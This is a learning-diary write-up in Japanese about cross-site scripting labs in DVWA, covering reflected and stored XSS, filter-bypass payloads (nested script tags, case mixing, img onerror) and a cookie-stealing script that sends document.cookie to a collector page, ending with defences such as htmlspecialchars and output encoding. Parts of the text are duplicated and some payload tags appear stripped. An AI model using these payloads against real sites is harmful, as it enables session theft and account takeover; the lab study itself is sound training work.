DVWA学習日記-7 XSS
8091 ワード
XSSホール
概括はリンクを受け取りました.手が震えたら注文しました.お金がなくなりました.CSRFに似ています.被害者から見れば同じ状況ですが、攻撃者から見れば違います.
XSS Cross-siteスクリプト
本質的には、クライアントコードの注入は、通常、JavaScriptはコマンド注入とは異なり、SQL注入などのサービスエンドコード注入とは異なります.
タイプ:格納型XSS攻撃コードは、HTTP応答において反射型XSS攻撃コードをデータベースでurlに出力し、HTTP応答においてDOM型XSS攻撃コードをurlに出力し、DOMノードに出力します.
準備:Firebox DVWA Firebug Hackbar Tamper Data
実戦1.簡易モードに入り、XSS を反射する.
3.記憶型XSSに入ると、よくある伝言板機能 4です.まず反射型XSSに入って、ボックスを見つけて、名前を入力して正常操作を行います.「xss」タブを試してみます.ハローの後ろにxssタグが現れていることを発見しました.これにラベルを入れることができるようです.
9.攻撃者のwebデザインはcookie.phpを作ります.http://127.0.0.1/cookie.php
自分のクッキーの値を修正すれば被害者の番号が登録できます.
11.中間難易度の試みに成功していないことが分かりました.サービス端末はscriptタグをフィルタリングしました.
12.scriptタグを一度だけフィルタしてipt>タグを使ってみたら、成功した弾戸が見つかりました.
18.中難易度記憶に入るXSSは、大文字と小文字の混合法を使って、nameを迂回して、message注入に成功しました.失敗しました.
19.難易度の高いレベルに入るには、[img]タグを使ってnameを成功させ、メッセージの注入に失敗しました.
入力フィルタを修正するにはブラックリストは勧められません.ホワイトリストを使うべきです.
最も重要なのは出力フィルタリングHTMLコードJS変換です.
概括はリンクを受け取りました.手が震えたら注文しました.お金がなくなりました.CSRFに似ています.被害者から見れば同じ状況ですが、攻撃者から見れば違います.
XSS Cross-siteスクリプト
本質的には、クライアントコードの注入は、通常、JavaScriptはコマンド注入とは異なり、SQL注入などのサービスエンドコード注入とは異なります.
タイプ:格納型XSS攻撃コードは、HTTP応答において反射型XSS攻撃コードをデータベースでurlに出力し、HTTP応答においてDOM型XSS攻撃コードをurlに出力し、DOMノードに出力します.
準備:Firebox DVWA Firebug Hackbar Tamper Data
実戦1.簡易モードに入り、XSS を反射する.
3.記憶型XSSに入ると、よくある伝言板機能 4です.まず反射型XSSに入って、ボックスを見つけて、名前を入力して正常操作を行います.「xss」タブを試してみます.ハローの後ろにxssタグが現れていることを発見しました.これにラベルを入れることができるようです.
alert(/xss/)
は、対応する要素.JavaScriptポップアップ関数(サーバフィルタリングの状況に応じて選択)alert() confirm() prompt().攻撃のアイデアユーザは攻撃されたウェブサーバにログインし、攻撃者は攻撃url(攻撃jsを含む)を送信し、彼を騙してクリックし、ユーザーがクリックすると、サーバに対してjに応答します.ユーザブラウザはjsスクリプトを実行し、ユーザーが知らない場合、攻撃者のウェブに証拠を送信し、スパンの目的を達成し、攻撃者は情報を取得し、ユーザのアイデンティティを使用してウェブサーバに入る.9.攻撃者のwebデザインはcookie.phpを作ります.http://127.0.0.1/cookie.php
構造攻撃jsdocument.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;
document.localtion
document.cookie cookie
攻撃urlを作成します.(送信フォームに等しい)http://localhost/DVWA-master/vulnerabilities/xss_r/?name=document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;
また、urlコードを使用する必要があります.http://localhost/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E
10.urlをユーザーに送信し、クッキーを取得するhttp://127.0.0.1/cookie.txt中身があります.自分のクッキーの値を修正すれば被害者の番号が登録できます.
11.中間難易度の試みに成功していないことが分かりました.サービス端末はscriptタグをフィルタリングしました.
12.scriptタグを一度だけフィルタしてipt>タグを使ってみたら、成功した弾戸が見つかりました.
?name=ipt>alert(/xss/)
大文字と小文字の混合法を使って迂回してもいいです.?name=alert(/xss/) #
13.難易度の高いモードに入るには、2つの回り道をしてもだめです.スクリプトのラベルは制限されています.他のラベルを使って発見できます.jsスクリプトも実行できます.?name= //img
?name=
14.最後にホールレスモードに来てソースコードを確認したところ、htmlspecialchars関数という関数は、この関数をデフォルトでコンパイルしない単引用符でコンパイルすることができます.& => &
" => "
' => '
< => <
> => >
15.記憶型XSS に来ました.入力長さが制限されました.firebugでを見て、tamper dataを使って成功的にを回りました.記憶型データベースはデータベースに影響があるかもしれないので、データベースをリセットします.18.中難易度記憶に入るXSSは、大文字と小文字の混合法を使って、nameを迂回して、message注入に成功しました.失敗しました.
19.難易度の高いレベルに入るには、[img]タグを使ってnameを成功させ、メッセージの注入に失敗しました.
img src=x onerror=alert(1)>
20.ホールレスモードに入ると、私たちの特殊記号を入力して、同じhtmlspecialcharsを使っています.それだけではなく、mysql_を使いました.リアル.エスケープstringは単引用符を転じてsql注入を防止する.入力フィルタを修正するにはブラックリストは勧められません.ホワイトリストを使うべきです.
最も重要なのは出力フィルタリングHTMLコードJS変換です.